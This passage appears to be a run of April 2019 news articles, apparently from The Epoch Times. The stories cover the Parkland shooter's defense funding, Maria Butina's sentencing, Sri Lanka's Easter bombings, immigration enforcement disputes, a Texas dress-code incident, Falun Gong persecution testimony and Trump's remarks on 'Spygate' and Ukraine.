shortly from his late mothers life insurance policy. Under state law, the public defender can only represent defendants who cannot afford private attorneys. Cruz is charged with 17 counts of first-degree murder and 17 counts of attempted murder arising from the Feb. 14, 2018, shooting at Marjory Stoneman Douglas High School. The former Stoneman Douglas student faces a possible death sentence. Public Defender Howard Finkelstein and his chief assistant, Gordon Weekes, said their office learned about the insurance policy this week. At a court hearing last year, their office had said the amount was likely to be about $30,000, too little to hire a private attorney. By statute, we can only represent the poor and indigent, Weekes told The Associated Press by phone Wednesday. We are asking to withdraw from the case because the defendant is no longer poor. But Cruz may not get the money. It is likely that the victims families who are suing Cruz will claim the money should go to them and judges will have to determine who ultimately receives it. Circuit Judge Elizabeth Scherer, who is presiding over the criminal case, has not set a hearing on the public defenders withdrawal motion and she might require them to stay on until that is settled. David Brill, an attorney representing the father of victim Meadow Pollack in a lawsuit against Cruz and others, said Wednesday that he is exploring his options. Other attorneys representing families and victims did not immediately respond to emails seeking their comments. Weekes said that his office cannot help Cruz hire a private criminal defense attorney nor can it advise him what to do with the money. It is also unclear how Cruz would access the money from jail. Cruz has said that he would prefer any money he received from his mothers estate or insurance go to the victims and their families. Lynda Cruz died of pneumonia in November 2017, three months before the shooting, leaving behind Cruz and his younger brother, Zachary. Their father died when they were young, not long after they were adopted. The mother had a tumultuous relationship with her sons, calling police dozens of times over the years to say they had been verbally abusive or had damaged her property. Zachary and other family members have said Nikolas Cruz sometimes hit his mother and once threatened her with a gun, but she never reported that. She went with him to buy a gun shortly after he turned 18, but with a caveat. A gun store employee told investigators after the shooting that he had received a call from Linda Cruz the day after the 2017 purchase. She asked him not to release the gun to him after the three-day waiting period if she wasnt there. When he pressed her on why she hesitated and then said he was young and she wanted him to be safe. Cruzs trial is scheduled to begin early next year. Finkelstein said it is too early to say whether this new development would delay the trial, but it certainly wont speed it up. His office has estimated that more than a million documents have been generated in the case, which would have to be transferred to a new attorney. Cruz has pleaded not guilty though Finkelstein has said he would plead guilty in exchange for a life sentence. Prosecutors are seeking the death penalty. They declined to comment Wednesday. By Terry Spencer Russian Agent Sentenced to Prison for Failure to Register as Foreign Agent and Conspiracy to Infiltrate Political Groups A federal judge in Washington sentenced admitted Russian agent Maria Butina to 18 months in prison on Friday, April 26. The Russian citizen expressed remorse for failing to register as a foreign agent and conspiring with a foreign official to influence American political organizations. Maria Butina pleaded guilty to one count of conspiracy to act as a Russian agent in the U.S. without registering with the Justice Department, facing up to 5 years in prison. U.S. District Court Judge Tanya S. Chutkan ordered the 18-month sentence but added that the sentence would include the 9 months she has already served since her arrest in July 2018. In court, Butina said she was sorry that she harmed the American people by failing to register as a foreign agent and said she would have registered if she had known that was required, NPR reported. Butina, a former graduate student at American University in Washington, stated, For all the international scandal my arrest has caused, I feel ashamed and embarrassed. My parents taught me the virtue of higher education, how to live life lawfully, and how to be good and kind to others I have three degrees, but now Im a convicted felon with no job, no money and no freedom, Reuters reported. Butina admitted to conspiring with a Russian official, Alexander Torshin, who was a deputy governor of Russias central bank as well as two Americans from 2015 until her arrest in 2018. She worked with the individuals to attempt to infiltrate the National Rifle Association, an organization strongly aligned with American conservatives and Republican politicians including President Donald Trump. In fact, Trump addressed an NRA conference about an hour after Butina was sentenced today. The criminal case against Maria Butina is separate from Special Counsel Robert Muellers 22-month investigation of Russian interference in the 2016 U.S. election, which detailed a series of contacts between Trumps campaign and Russian officials. Reuters previously reported that Butina was a Trump supporter who allegedly told people at parties in Washington that she could use her political connections to help them get jobs in his administration. Federal prosecutors concluded that while Butina did not engage in espionage, she did work at her own will behind-the-scenes in conservative political circles to establish ties and boost the U.S.-Russia relationship. This included actions such as attending events in Washington and New York to meet high-profile politicians and arranging dinners with them. Many of these events have been documented on Butinas social media pages, which include photos of her attending NRA conferences and a high-profile annual prayer breakfast in Washington. Butinas lawyers have argued that her political activities were done in the open and were not conducted with any malfeasance, they said that her only crime was that she was unaware of the law and therefore, failed to notify the Justice Department, that she was working to influence public opinion in favor of Russia. Butina said on Friday: If I had known to register as a foreign agent, I would have done so without delay I just didnt register because I didnt know to. The prosecutors, however, remarked that this is not a registration offense this is a case where the defendant acted in the United States as an agent of the Russian government. The case against Butina was from the beginning sensationalized by the press as a salacious example of Russian spycraft, linking it to the broader campaign of Russian infiltration into American politics. Federal prosecutors alleged initially that Maria Butina was a secret Russian agent that was offering sex to gain access to high-profile figures within the conservative movement, however, they later admitted they were wrong in that assumption that after misunderstanding various messages she sent to people. Butina was engaged in a romantic relationship with Paul Erickson, who is facing separate charges of wire fraud and money laundering unrelated to Butinas case. Butina has been in contact with Erickson since her arrest, but according to her lawyers, he has been uncertain as to the future of their relationship since Butina will be barred from entering the U.S. after shes deported to Russia, the Washington Examiner reported. After her arrest and interrogation throughout last year, the true story of Maria Butina has become less intriguing and less relevant for the press as no evidence has emerged that she was acting as part of some grand conspiracy involving Russia. According to court documents, (She) was not a spy in the traditional sense of trying to gain access to classified information to send back to her home country. She was not a trained intelligence officer. And while the Mueller team did question Butina, the final report itself does not include this case, in the context of investigating the Trump campaign for collusion. Today, the federal judge Tanya Chutkin said after handing down the sentence: You are not the worst thing youve ever done. You are smart, hardworking. I wish you the best of luck after Butina said that Ive destroyed my own life now nothing remains. Reuters contributed to this report. Clive Palmer speaks to the media on May 14, 2014 in Canberra, Australia. (Stefan Postles/Getty Images) Scott Morrison Rules Out Policy Deals With Clive Palmer The prime minister says Clive Palmer will not influence the Liberal Partys policies, as it is reportedly close to finalising a preference deal with him. Scott Morrison has stressed his government wont be hatching policy plans with controversial businessman Clive Palmer, regardless of whether it mints a preference deal with his political party. But Labor insists the coalition must have promised Palmer something to have earned his favour. The prime minister says Australians will learn within days about any preference deals the Liberals have struck, once they have been settled. Palmers United Australia Party (UAP) is expected to form an agreement with the Liberals, which could boost his chances of returning to federal parliament after the May 18 election. The UAP has already spent more than $30 million on election advertising. That comes as the businessman remains under fire for the collapse of his Queensland nickel refinery in 2016, after which the workers went without $7 million in workers entitlements. Morrison noted he and Palmer, who is running as a Senate candidate in Queensland, share the view that a Labor government led by Bill Shorten would damage the economy. There is quite a bit we dont agree on at all, but he makes a good point when he says that, the prime minister told reporters in Townsville on Friday. But the leader stressed the Liberal-Nationals have made no policy deals with minor parties such as UAP. There has been no discussion with the minor parties on policy. Absolutely none. Labor leader Bill Shorten argues that he believes the coalition must have promised Palmer something in exchange for a good spot on their how to vote cards. Senior Labor frontbencher Penny Wong said Australians should not forget the chaos that evolved from Palmer being elected to parliament in 2013. Labor Fronted Me About Preferences: Clive Cabinet minister Mathias Cormann earlier accused Labor of being high and mighty about deals with UAP, noting media reports and Clives own claims that a senator and senior union heavyweight had negotiated with him about how-to-vote cards. We are doing everything we can to maximise the voting support across seats across Australiaas the Labor Party is doing, the senator told Sky News on Friday. But Labor has dismissed suggestions that a senior union figure had been sent to negotiate preferences with Palmer. Thereve been no formal negotiations, Shorten said. Thats just not true. I had Senator (Anthony) Chisholm approach me while I was down for the budget in parliament sitting on the floor. He got up. Its all recorded, he came over to see me, Palmer told reporters outside a Brisbane court on Friday. He called me on Wednesday when he was with Bill Shorten in central Queensland and he said was it too late to do preferences. Its not true that I wasnt approached by the ALP. United Australia Party senator Brian Burston told the ABC that internal polling showed the UAP is on track to win as many as six Senate spots, which would guarantee Palmers return to Canberra. The UAP could also pick up some lower house seats. By Marnie Banger and Matt Coughlan The firing squad execution chamber at the Utah State Prison in Draper, Utah, on June 18, 2010. (Trent Nelson/AP) South Carolina Prosecutor Suggests Firing Squads for Executions CHARLESTON, S.C.A South Carolina prosecutor is suggesting that a firing squad be considered as an execution method since the state has run out of the drugs needed for lethal injections. The Post and Courier of Charleston reports 1st Circuit Solicitor David Pascoe suggested the firing squad on April 26 after a former death row inmate became the latest killer to get a reprieve. Pascoe agreed to a life sentence for 50-year-old John Edward Weik, who originally was sentenced to death for the 1998 murder of his girlfriend. Lawmakers are considering a bill to make electrocution the primary means of execution if the lack of the drug for lethal injections continues. South Carolina considered a legislative proposal on the firing squad alternative in 2015. Its sponsor says that after hearing Pascoes comments, hell likely reintroduce the bill. Don Zelenka is South Carolinas deputy attorney general. He says 29 prisoners are currently on death row. The bill has passed the Senate. If the House Judiciary Committee approves it, it could pass the House before the Legislature adjourns May 9. South Carolinas last execution was in May 2011. Idaho Judge Urged to Force Disclosure of Execution Drugs BOISE, IdahoIdahos attempt to withhold information about the source of its lethal injection drugs is similar to hiding the type of ammunition used by firing squads or the brand of rope used in a hanging, an attorney for the American Civil Liberties Union of Idaho told a state judge on April 22. The arguments from the ACLUs Ritchie Eppink came at the close of a trial pitting the Idaho Department of Corrections against a University of Idaho professor who sued for access to execution documents under the states Public Records Act. Similar lawsuits have been filed across the United States in recent years with varying results, as prison officials struggle to find lethal injection drug suppliers in the wake of sometimes botched executions. Professor Aliza Cover, who studies how the public interacts with the death penalty, requested the documents from prison officials in 2017. She sued after the state largely denied her request, and Judge Lynn Norton heard closing arguments in the case on Monday. Idaho Department of Correction officials fears that revealing information about where they obtained the lethal drugs used in executions in 2011 and 2012 will prompt protests by anti-death penalty advocates and cause other lethal drug suppliers to refuse to sell to the state. The public has an interest in its public agencies carrying out lawful orders, which the death warrant is, said corrections department attorney Jessica Kuehn, referring to the court document that orders an execution to be carried out. But she characterized the public interest in the source of execution chemicals as minuscule. Kuehn said the Idaho Legislature has given the Board of Correction the authority to determine which documents to withhold from public record releases, and the courtroom is not the forum to contest that. But Covers attorney said her record request was essentially a request for public reassurance that the state is acting appropriately and not resorting to illegal, unethical or unsavory drug suppliers when carrying out executions, Eppink said. Instead, the department argues, If we told you where this came from, the public might not allow you to do it again, Eppink said. The Legislature or the market might respond by removing these suppliers from the options that we as a society consider acceptable. Sri Lankan Special Task Force soldiers stand guard in front of a mosque during the Friday prayers at a mosque in Colombo, Sri Lanka, on April 26, 2019. (Dinuka Liyanawatte/Reuters) Sri Lanka Police Hunt 140 After Easter Bombings as Shooting Erupts in East COLOMBOSri Lankan police are trying to track down 140 people believed linked to the ISIS terrorist group, which claimed responsibility for the Easter Sunday suicide bombings that killed 253, as shooting erupted in the east during a raid. Muslims in Sri Lanka were urged to pray at home after the State Intelligence Services warned of possible car bomb attacks, amid fears of retaliatory violence. And the U.S. Embassy in Sri Lanka urged its citizens to avoid places of worship over the weekend after authorities reported there could be more attacks targeting religious centers. Archbishop of Colombo Cardinal Malcolm Ranjith told reporters he had seen a leaked internal security document warning of further attacks on churches and there would be no Catholic masses this Sunday anywhere on the island. The streets of Colombo were deserted on Friday evening, with many people leaving offices early amid tight security after the suicide bombing attacks on three churches and four hotels that also wounded about 500 people. President Maithripala Sirisena told reporters some Sri Lankan youths had been involved with ISIS since 2013. He said information uncovered so far suggested there were 140 people in Sri Lanka involved in ISIS activities. Police are looking to arrest them, Sirisena said. Nearly 10,000 soldiers were deployed across the Indian Ocean island state to carry out searches and provide security for religious centers, the military said on Friday. Illustrating the tension that has gripped the country, shooting erupted between security forces and a group of men in the east during a search and cordon operation, a military spokesman said. The raid took place in the town of Ampara Sainthamaruthu near Batticaloa. The spokesman said there was an explosion in the area and when soldiers went to investigate they were fired upon. No details of casualties were immediately available. Police have detained at least 76 people, including foreigners from Syria and Egypt, in their investigations so far. ISIS provided no evidence to back its claim that it was behind the attacks. If true, it would be one of the worst attacks carried out by the group outside Iraq and Syria. The terrorist group released a video on Tuesday showing eight men, all but one with their faces covered, standing under a black ISIS flag and declaring their loyalty to its leader, Abu Bakr Al-Baghdadi. Defense, Police Chiefs Quit The government said nine homegrown, well-educated suicide bombers carried out the attacks, eight of whom had been identified. One was a woman. Authorities have so far focused their investigations on international links to two domestic ISIS groupsNational Thawheed Jamaut and Jammiyathul Millathu Ibrahimthey believe carried out the attacks. Government officials have acknowledged a major lapse in not widely sharing an intelligence warning from India before the attacks. Sirisena said top defense and police chiefs had not shared information with him about the impending attacks. Defense Secretary Hemasiri Fernando resigned over the failure to prevent the attacks. The police chief said he will resign now, Sirisena said. He blamed Prime Minister Ranil Wickremesinghes government for weakening the intelligence system by focusing on the prosecution of military officers over alleged war crimes during a decade-long civil war with Tamil separatists that ended in 2009. Sirisena fired Wickremesinghe in October over political differences, only to reinstate him weeks later under pressure from the Supreme Court. Opposing factions aligned to Wickremesinghe and Sirisena have often refused to communicate with each other and blame any setbacks on their opponents, government sources say. Cardinal Ranjith said that the church had been kept in the dark about intelligence warning of attacks. We didnt know anything. It came as a thunderbolt for us, he said. Most of the victims were Sri Lankans, although authorities said at least 38 foreigners were also killed, many of them tourists sitting down to breakfast at top-end hotels when the bombers struck. They included British, U.S., Australian, Turkish, Indian, Chinese, Danish, Dutch and Portuguese nationals. Britain warned its nationals on Thursday to avoid Sri Lanka unless it was absolutely necessary. By Sanjeev Miglani and Ranga Sirilal District Court Judge Shelley M. Richmond Joseph (C) departs federal court in Boston, on April 25, 2019, after facing obstruction of justice charges for allegedly helping a man in the country illegally evade immigration officials as he left her Newton, Mass., courthouse after a hearing in 2018. (Steven Senne/AP Photo) State Judge Charged With Helping Illegal Alien Evade Immigration Agent BOSTONA Massachusetts judge was indicted on Thursday, April 25, on charges that she helped a man who was living in the U.S. illegally sneak out a back door of the courthouse to evade a waiting immigration enforcement agent. Newton District Court Judge Shelley M. Richmond Joseph and former court officer Wesley MacGregor were charged with obstruction of justice based on accusations that they schemed to let the illegal alien escape after a hearing last year on charges that included drug possession. Massachusetts U.S. Attorney Andrew Lelling said the charges were not meant to send a message about immigration policy. He said everyone must be held to the rule of law, even the privileged and powerful. From certain corners I have heard the occasional gasp of dismay or outrage at the notion of holding a judge accountable for violating federal law, Lelling said. But if the law is not applied equally, it cannot credibly be applied to anyone. Joseph, 51, and MacGregor, 56, pleaded not guilty during brief appearances in Boston federal court. Joseph appeared to fight back tears as she left the courthouse. Joseph, who was appointed as a District Court judge in 2017, has been suspended without pay, the Massachusetts Supreme Judicial Court said. Authorities say an immigration agent was in the courtroom to detain the man when he appeared in the Newton courthouse in April 2018. The Dominican man had twice been deported and had been barred from entering the U.S. until 2027, prosecutors say. Authorities say Josephs clerk asked the agent to leave the courtroom and told him that the suspect would be released into the courthouse lobby. Instead, after the hearing, MacGregor led the defendant downstairs to the lockup and let him out a rear door, prosecutors say. The man was caught by immigration officials about a month later, Lelling said, and is now in immigration proceedings. The Trump administration has resisted calls to add courthouses to the list of so-called sensitive locations that are generally free from immigration enforcement, like schools and places of worship. Immigration officials have said communities are forcing their hand by refusing to transfer immigrants in local prisons and jails to the custody of Immigrations and Customs Enforcement. They also argue that courthouse arrests are safer for agents because people have to go through metal detectors when they enter courthouses. Courthouse arrests happened under former Democratic President Barack Obama. MacGregor, the former court officer, was also charged with perjury. Authorities say he falsely told the grand jury that he was unaware that immigration agents were in the courthouse before he let the suspect out the door. By Alanna Durkin Richer State Official Bans Deportation of Criminal Aliens From Airport A Washington state official signed an executive order earlier this week banning Immigrations and Customs Enforcement (ICE) officials from using an international airport located in a sanctuary county to deport criminal illegal aliens. The order seeks to amend the airports lease practices. King County Executive Dow Constantine, a Democrat, signed the order on April 23. It seeks to ensure future long-term leases with companies that operate hangars and other facilities at the countys international airport do not cooperate or facilitate immigration enforcement directives unless accompanied by a court order. In a statement, Constantine said that the countys goal is to end deportation flights altogether. Over the last eight years, ICE has deported some 34400 illegal aliens via the airport. ICE moves thousands of illegal immigrants in and out of the airport every year. Here in King County, we are a welcoming community that respects the rights of all people, he said. My Executive Order seeks to make sure all those who do business with King County uphold the same values. Our goal is to ban flights of immigrant detainees from our publicly owned airport, and I hope members of Congress shine a light on this practice and how it is currently funded. Constantine said that his county first starting becoming aware that ICE was transporting immigrant detainees through the airport via charter aircraft in June last year. King County airport is located in South Seattle. Some of the points in Constantines order include taking appropriate actions to minimize county cooperation with ICE officials and to work with Congress to change the law on deportation practices. Sanctuary cities are locales that have enacted measures to prevent local officials from cooperating with federal immigration authorities. As a sanctuary county, it is important that our airport complies with all local immigration and human rights ordinances, King County Councilmember Jeanne Kohl-Welles said in a statement. Rachel Smith, deputy county executive and chief of staff said they believe the order is the first attempt by any jurisdiction in the country to ban flights from cooperating with ICE. The countys order comes amid efforts from the Trump administration and the GOP to enforce immigration laws. Tanya Roman, a spokesperson for ICE told The Epoch Times that once the removal of an illegal immigrant is given, its the job of ICE to efficiently carry out the removal order. ICE removes thousands of aliens each year, and does so humanely and in full compliance with domestic law and U.S. treaty obligations, she said via email on April 26. To suggest that the enforcement of federal immigration laws is somehow a human rights violation is irresponsible and reflects either a profound misunderstanding or willful mischaracterization of those laws and of the proper roles and responsibilities of the federal government and states and localities in ensuring that the laws are properly administered. Roman continued: ICE maintains that cooperation by local officials is an indispensable component of promoting public safety. Its unfortunate to see yet another example of local policymaking aimed at intimidating ICE and our partners, particularly when such policies harm the very communities whose welfare they claim to protect, by making it more difficult to remove criminal aliens who prey upon the innocent. An FAA spokesperson, meanwhile, told The Seattle Times, We do not comment on hypotheticals. U.S. officials said they arrested or denied entry to more than 103,000 people along the border with Mexico in March, more than twice as many as the same period in 2018. Weeks ago, President Donald Trump said hes considering a plan to transport aliens who are apprehended after illegally crossing the southwest border exclusively to sanctuary cities. Due to the fact that Democrats are unwilling to change our very dangerous immigration laws, we are indeed, as reported, giving strong considerations to placing Illegal Immigrants in Sanctuary Cities only, Trump wrote on Twitter. On Wednesday, in the morning, at ANZAC Square, Brisbane, His Excellency the Honourable Paul de Jersey AC and Mrs Kaye de Jersey attended the 2019 Students ANZAC Commemoration Ceremony, and the Governor addressed guests and laid a wreath. Following, at 1 William St, Brisbane, His Excellency presided at a meeting of the Executive Council. In the evening, at ANZAC Square, Brisbane, His Excellency attended the Centaur Memorial Fund for Nurses Memorial Candlelight Vigil, and the Governor addressed guests and laid a wreath. The male student arrived at Miller Junior High with the letter M shaved into his fade haircut (Google Street View) Student Used Marker to Fill in Shaved Hairstyle That Violated Dress Code A student in Houston, Texas, reportedly was given the option of coloring in his hair with a marker. He took it, and now school officials have issued an apology. The male student arrived at Miller Junior High with the letter M shaved into his fade haircut, reported the Houston Chronicle. The report noted that the haircut was in violation of the schools dress code, and an administrator gave him three choices. The Chronicle reported on what was told to the boy: Either call your mother, receive a disciplinary action, or color it in with a marker. School administrator placed on leave after a marker was reportedly used to address a haircut dress-code violation. Posted by Pearland Journal on Wednesday, April 24, 2019 The student ended up coloring in the M area with a black marker. Public outrage ensued on social media after a photo of the incident emerged. He came over and said, You have two options: You can either go to (in-school suspension) or color it in,' said Juelz Trice, the boy, ABC13 reported. Everyone was coming up to me. It was like the talk of the school that day and the day after. District leaders said the administrator, who wasnt named in the report, was placed on leave and may be punished in some way after the staffer mishandled disciplinary action, according to a statement from the school. District administration has contacted the students family to express our extreme disappointment in this situation, which does not fall in line with the values of Pearland ISD, the statement said. An administrator at a Texas middle school is on leave after he allegedly used a marker to color in a student's haircut design that didn't meet the dress code. Posted by WQAD on Thursday, April 25, 2019 Facebook user Angela Washington, the boys mother, triggered a firestorm when the student got a haircut on April 16 and went to school the next day before the administrator told him his options. The user said the staffer, an assistant principal, decided to color my baby design with a PERMANENT MARKER, according to the Chronicle. When it first happened, I was very upset because I didnt find out until after he got off the bus and he got into the car and said, Look what they did to my head,' Washington told ABC13. According to the Pearland Independent School Districts dress code, hair must be neat, clean and well groomed. Extreme hair styles such as carvings, mohawks, spikes, etc. are not allowed. With a marker?!"An administrator at Berry Miller Junior High in Pearland is facing disciplinary action after drawing on a student's head with a marker. " Posted by ABC13-Charly Edsitty on Thursday, April 25, 2019 District officials issued an apology, saying that coloring in hair is not condoned by the district and does not align with appropriate measures for dress code violations, the Chronicle reported. The administrator should not be a leader on a campus with very impressionable children, Pearland Trustee Mike Floyd stated. From what were seeing emerging right now in the public discourse, its just absolutely inappropriate what occurred, Floyd explained. The real problem is theres a clear and obvious display of a lack of judgment. Online Backlash The parents of a Texas boy are "very upset" after a school administrator allegedly took a sharpie to their son's head. Posted by CBS New York on Thursday, April 25, 2019 Commenters on a Facebook post expressed anger. Sue the lunch off that school AND the district, one Facebook commenter wrote. This is awful, said another commenter. Lawyer up, according to Yahoo News. However, users on Yahoo noted that the child was in violation of the dress code and was given options. The kid chose the marker option, If he didnt like it he shouldnt have violated the school dress code or taken the suspension (sic), he said. Well the other option I am sure was to suspend him so whats the beef. The dress code and appearance of haircuts I am sure was not kept a secret from HE OR HIS PARENTS, added another. Businessman Yu Ming in Washington on Feb. 19, 2019. He arrived in the United States to join his wife and daughter in Jan. 2019 through the help of the U.S. government, after being imprisoned for 12 years and tortured nearly to death in labor camps in China for his beliefs in Falun Gong. (Samira Bouaou/The Epoch Times) Survivor of Persecution in China Warns About Regimes Treatment of Uyghurs WASHINGTONA recent refugee from China has reported on what he has learned about the persecution of the Uyghur Muslim minority, telling of overstuffed prisons, abuse, torture, and the likely slaughter of prisoners of conscience through organ harvesting. Yu Ming is a successful businessman who was jailed for nearly 12 years in Chinese labor camps and prisons for his practice of the spiritual discipline Falun Gong. He managed, with the help of the U.S. government, to come to the United States in January, joining his wife and two children. In a speech hosted by the democracy advocacy group Citizen Power Initiatives for China in Washington on April 22, Yu related what he had learned from family members of imprisoned Falun Gong practitioners who pay monthly visits to the prisons: Some jails have been emptied to make space for Uyghurs, now that facilities are full in their home region of Xinjiang. Yus account corroborates an October 2018 Radio Free Asia report that authorities in northwest Chinas Xinjiang Uyghur Autonomous Region were secretly transferring Uyghur detainees to prisons in Heilongjiang province and other areas throughout the country to address an overflow in the regions overcrowded political re-education camps. Yu said that individuals whose family members were once detained in Tailai Prison, in northeast Chinas Heilongjiang Province, said the prison was emptied, then used to jail Uyghur detainees. Falun Gong practitioners who were once there had been divided into small groups, his contacts said, and relocated to different prisons. Yus experience with the Chinese regimes prisons began after the then-dictator Jiang Zemin launched a campaign in July 1999 to eradicate the practice of Falun Gong, also known as Falun Dafa. Falun Gong involves living according to the principles of truthfulness, compassion, and tolerance and practicing meditative exercises. Soon after the practices introduction to the Chinese public in 1992, it grew popular across the country. In a letter to the Chinese Communist Partys (CCPs) elite Politburo in April 1999, Jiang foreshadowed the coming persecution. He complained about how many people were practicing Falun Gongin 1999, regime sources said 100 million had taken up the practiceand expressed concern that Falun Gongs traditional moral teachings might prove more popular than the Communist Partys materialist and atheist ideology. Same Methods Yu said that from a few scattered reports about what has been happening in the re-education camps in Xinjiang, he could tell that the CCP is employing the same methods it has been using against Falun Gong practitioners to force them to give up their faith. For example, Uyghur detainees arent allowed to use the restroom for long periods of time, arent allowed to see a doctor when they are ill, are forced to stand for long periods of time as punishment, and are forced to perform drills like soldiers. Even the lies, slogans, and propaganda are the same, Yu said. These places were depicted as beautiful schools with bright classrooms, green grass, and trees, with loving police officers taking good care of everyone, and so on. In fact, whoever disobeys slightly will be severely punished and tortured. Yu said he had experienced all sorts of torture, and had nearly been tortured to death. Undercover Videos Yu played video footage he had shot with hidden cameras inside Masanjia Labor Camp and Benxi Prison in Liaoning Province in China. In the footage, prisoners are shown performing slave labor, injured and bedridden due to severe torture, and, in one case, lying dead in a prison bed. After Yu was released from prison in 2017, he investigated the allegation that Chinese hospitals were harvesting organs from living prisoners of conscience for transplantation. He played footage secretly shot inside several hospitals in Beijing, showing patients admitting that they were able to obtain an organ within three months. Yu said that in one instance, a patient told him that he was able to get another kidney only one day after his first transplant failed to function properly. Researchers investigating organ transplantation in China have concluded that such incredibly short waiting times for organs are only possible if the hospitals have a living donor system in which people can be killed on demand when their organs are needed. Yu said he had been subjected to blood tests at least three times while jailed, and the amount of blood drawn from him was far above the normal amount needed for regular health examinations. Given that Uyghurs also being subjected to blood and DNA tests, Yu said he is very worried that they have also become targets for forced organ harvesting. Strong Action Needed Kyle Olbert, director of operations of the East Turkistan National Awakening Movement, which advocates for the human rights of the peoples living in the region that China calls Xinjiang, said that Yus testimony was extremely powerful. The extent to which the Chinese Communist Party is persecuting Falun Gong, Falun Dafa, is absolutely atrocious, and they need to be held responsible for it, he said. Olbert called on the U.S. Congress and other authorities throughout the free world to unite in condemning the CCPs persecution of ethnic and religious minorities and anybody else who refuses to be a cog in Chinese Communist Partys ruthless machine. He believes the Trump administration should impose strong Magnitsky Act sanctions against CCP officials who are directly responsible for the atrocities. The Global Magnitsky Act enables the U.S. government to sanction officials in other countries guilty of human rights abuses. We cannot continue to sit idly by. We need to use the tools that are at our disposal, which include sanctions, tariffs, consumer boycotts against Chinese-made goods, as well as institutional divestments from Chinese Communist Party-run companiesin particular, their state-owned enterprises, he said. Trumps Trade War Yang Jianli, president of Citizen Power Initiatives for China, said that it was important that torture survivors like Yu Ming be given a forum to speak, as their experiences offer firsthand information about the Chinese regimes prisons. Yang said he hopes that human rights and national security considerations can be relinked to trade, as these issues are interconnected in the first place. The biggest mistake the United States made in the past 30 years, he said, was disconnecting human rights from trade. The economic power the Chinese communist regime has gained through trade has enhanced its capacity for persecution and control. At the same time, the CCPs fear of losing power has driven it to more extreme measures for controlling and suppressing its people, Yang said. Many Americans have now realized that they made a big mistake by believing that engaging China and helping it to develop economically first would automatically induce democracy and freedom there, Yang said. However, rectifying that mistake will take time. President Donald Trumps trade war with China has opened a window for the United States to reconfigure its relations with China and led many people to reevaluate the relations between the two countries, Yang said. Because of this re-evaluation, people realized, we acted too late. China has become the largest threat to the U.S., he said. And the reason why it is the largest threat is not because of Chinas economic power, but because of its system. The nature of its political system has not changed. It is an autocratic regime. After it had more money, it became more and more like fascism. Yang said that although Trump hasnt openly expressed any intention to change Chinas political system, more and more American are realizing that an ideological battle with the CCP has become inevitable. In the meantime, the general public has a responsibility to push for change, he says. President Donald Trump delivers remarks on 5G deployment in the United States on April 12, 2019 in Washington. (Tom Brenner/Getty Images) Trump Hints Obama Knew About Spygate Scandal President Donald Trump on Thursday hinted that President Barack Obama was likely aware of the investigations and spying on his campaign during the 2016 elections. It is inconceivable when it goes to Clapper, Brennan, Comey, these people, I would imagine that some other people, maybe a little bit higher up also knew about it, and maybe a lot higher up, Trump said in an interview with Fox News Sean Hannity on April 25. CIA Director John Brennan and Director of National Intelligence James Clapper reported directly to Obama, and FBI Director James Comey reported to Attorney General Loretta Lynch who reported to the president. During the 2016 presidential elections, and into the beginning of his presidency, the FBI investigated the Trump campaign based on false information contained in the so-called Steele dossier. President Barack Obama speaks at a rally in Detroit, Michigan, on Oct. 26, 2018. (Bill Pugliano/Getty Images) The dossier had been paid for by the Clinton campaign and the DNC and was produced by Fusion GPS and former British intelligence officer Christopher Steele. The final report by Special Counsel Robert Mueller found no evidence for any of the main 103 claims contained in the dossier. This was an overthrow and it was a disgraceful thing, I think it is far bigger than Watergate, I think its possibly the biggest scandal in political history in this country, Trump said. This was an attempted coup and its like a third world country and inconceivable. Trump said that following the conclusion of the Mueller probe, which concluded that there was no evidence of collusion between his campaign and Russia, its now time to look at the other side. While much information has come out through Congressional testimonies, court documents, text messages, and emails, and other research, about the Spygate scandal, many questions remain about Obamas involvement in the investigations. Obama had been provided a summary of the Steele dossier, attached to an intelligence report, during a meeting with Brennan, Comey, and Clapper in January 2017. It is possible he also received the information from Brennan during an August 2017 meeting. Obamas National Security Adviser Susan Rice had recalled a Jan. 5, 2017, meeting she had with Obama, Comey, and then-Deputy Attorney General Sally Yates, in the oval office, in a Jan. 20 email to herself. During the meeting, the investigation into Trump was discussed. I cant imagine a set of parameters or circumstances where the director of the FBI, or the director of intelligence services, would have restrained themselves and not informed the White House, Marc Ruskin, an adjunct professor at John Jay College of Criminal Justice and a 27-year veteran of the FBI, told The Epoch Times. In his interview with Hannity, Trump said he hopes that Attorney General William Barr will do whats right in looking into the origins of the investigations. Barr told Congress earlier this month that he expects Inspector General Michael Horowitz to conclude his investigation into the spying of the Trump campaign by May or June this year. Attorney General William Barris testifies during a House Commerce, Justice, Science, and Related Agencies Subcommittee hearing on Capitol Hill on April 10, 2019. (Mandel Ngan/AFP/Getty Images) The IG report is coming out in three or four weeks and from what I hear is going to be, and should be, and almost has to be a blockbuster because he has access to information that most people dont, Trump said. The President also said that everything is going to be declassified, and much more, referring to key documents in the Spygate scandal, such as the FBIs FD-302 documents, the unredacted Carter Page FISA application, among other documents. Barack Obama and Hillary Clinton wave to delegates after Obama's speech during the Democratic National Convention in Philadelphia, on July 27, 2016. (J. Scott Applewhite/AP Photo) Trump Says Clinton and Obama Administration Links With Ukraine Should Be Investigated President Donald Trump said that links between Ukraine and the Hillary Clinton presidential campaign and the Obama administration should be investigated. The remarks came after Ukrainian officials told The Hill that a January 2016 meeting between some of Ukraines top corruption investigators and members of Obamas National Security Council, the FBI, the State Department, and the Department of Justice featured the Americans trying to divert the investigators from probing then-Vice President Joe Bidens sons links with Ukraine. The Americans also tried to get Ukrainian investigators to locate evidence of crimes committed by Paul Manafort, a Republican operative who was later charged during the probe by special counsel Robert Mueller. Kostiantyn Kulyk, deputy head of Ukraines prosecutor generals international affairs office, said that investigators had evidence that a number of Western figures, such as Obama White House counsel Gregory Craig, also received money from the Party of Regions, the party of ousted Ukranian President Viktor Yanukovych, an ally of Russian President Vladimir Putin. Craig was recently indicted for allegedly lying about his dealings with Ukraine. But American officials were only interested in one person, according to Kulyk. They just discussed Manafort. This was all and only what they wanted. Nobody else, he told The Hill. Nazar Kholodnytskyy, Ukraines chief anti-corruption prosecutor, said that he instructed investigators from Ukraines National Anti-Corruption Bureau not to release information about Manafort but that it was suddenly released after Manafort was named Trumps campaign chairman in May 2016, two years after being obtained. Somebody kept this black ledger secret for two years and then showed it to the public and the U.S. media. It was extremely suspicious, Kholodnytskyy said. A Ukrainian court ruled in late 2018 that the release of information on Manafort amounted to an illegal attempt to influence the election in the United States. Asked about the story on April 25 by Fox Newss Sean Hannity, Trump responded: It sounds like big stuff. It sounds very interesting with Ukraine. Im not surprised. Hannity asked whether America should see the information about Ukraine helping Clintons campaign through the Obama administration and Trump said yes. I think we do. And, 